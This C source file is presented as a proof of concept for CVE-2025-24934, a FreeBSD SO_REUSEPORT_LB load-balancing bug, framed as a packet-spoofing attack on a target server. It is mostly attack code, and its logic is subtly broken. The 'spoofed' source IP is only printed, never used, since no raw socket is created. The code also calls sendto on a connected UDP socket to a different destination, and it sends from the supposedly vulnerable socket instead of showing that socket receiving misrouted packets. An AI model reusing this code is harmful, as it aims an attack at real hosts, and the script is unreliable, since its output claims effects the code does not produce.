// CVE-2025-24934 PoC - FreeBSD SO_REUSEPORT_LB Spoofing Attack
// This PoC demonstrates how an attacker can send packets to a connected socket
// that is incorrectly part of a load-balancing group
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define TARGET_IP "192.168.1.100" // Legitimate server IP
#define SPOOFED_IP "10.0.0.1" // Attacker's spoofed source IP
#define TARGET_PORT 8080
#define FAKE_SERVER_IP "10.10.10.10" // Fake server for connect()
int main() {
int sock;
struct sockaddr_in target_addr, fake_server_addr;
char send_buf[] = "Spoofed packet data";
printf("CVE-2025-24934 PoC - SO_REUSEPORT_LB Spoofing\n");
printf("=============================================\n\n");
// Step 1: Create UDP socket
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
perror("socket creation failed");
return 1;
}
// Step 2: Enable SO_REUSEPORT_LB option
int reuseport_lb = 1;
if (setsockopt(sock, SOL_SOCKET, SO_REUSEPORT_LB,
&reuseport_lb, sizeof(reuseport_lb)) < 0) {
perror("setsockopt SO_REUSEPORT_LB failed");
return 1;
}
printf("[+] SO_REUSEPORT_LB enabled on socket %d\n", sock);
// Step 3: Connect to a fake server (creates connected socket)
memset(&fake_server_addr, 0, sizeof(fake_server_addr));
fake_server_addr.sin_family = AF_INET;
fake_server_addr.sin_port = htons(TARGET_PORT);
inet_pton(AF_INET, FAKE_SERVER_IP, &fake_server_addr.sin_addr);
if (connect(sock, (struct sockaddr *)&fake_server_addr,
sizeof(fake_server_addr)) < 0) {
perror("connect failed");
return 1;
}
printf("[+] Socket connected to %s:%d\n", FAKE_SERVER_IP, TARGET_PORT);
printf("[+] Socket is now part of load-balancing group (vulnerable)\n");
// Step 4: Prepare spoofed packet
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(TARGET_PORT);
inet_pton(AF_INET, TARGET_IP, &target_addr.sin_addr);
// Step 5: Send spoofed packet using sendto with different dest
// Due to the bug, the connected socket will receive this packet
ssize_t sent = sendto(sock, send_buf, strlen(send_buf), 0,
(struct sockaddr *)&target_addr,
sizeof(target_addr));
if (sent > 0) {
printf("[+] Spoofed packet sent successfully!\n");
printf(" Source IP (spoofed): %s\n", SPOOFED_IP);
printf(" Target: %s:%d\n", TARGET_IP, TARGET_PORT);
printf(" Data: %s\n", send_buf);
printf("[!] Packet may be received by connected socket due to LB bug\n");
} else {
perror("sendto failed");
}
close(sock);
return 0;
}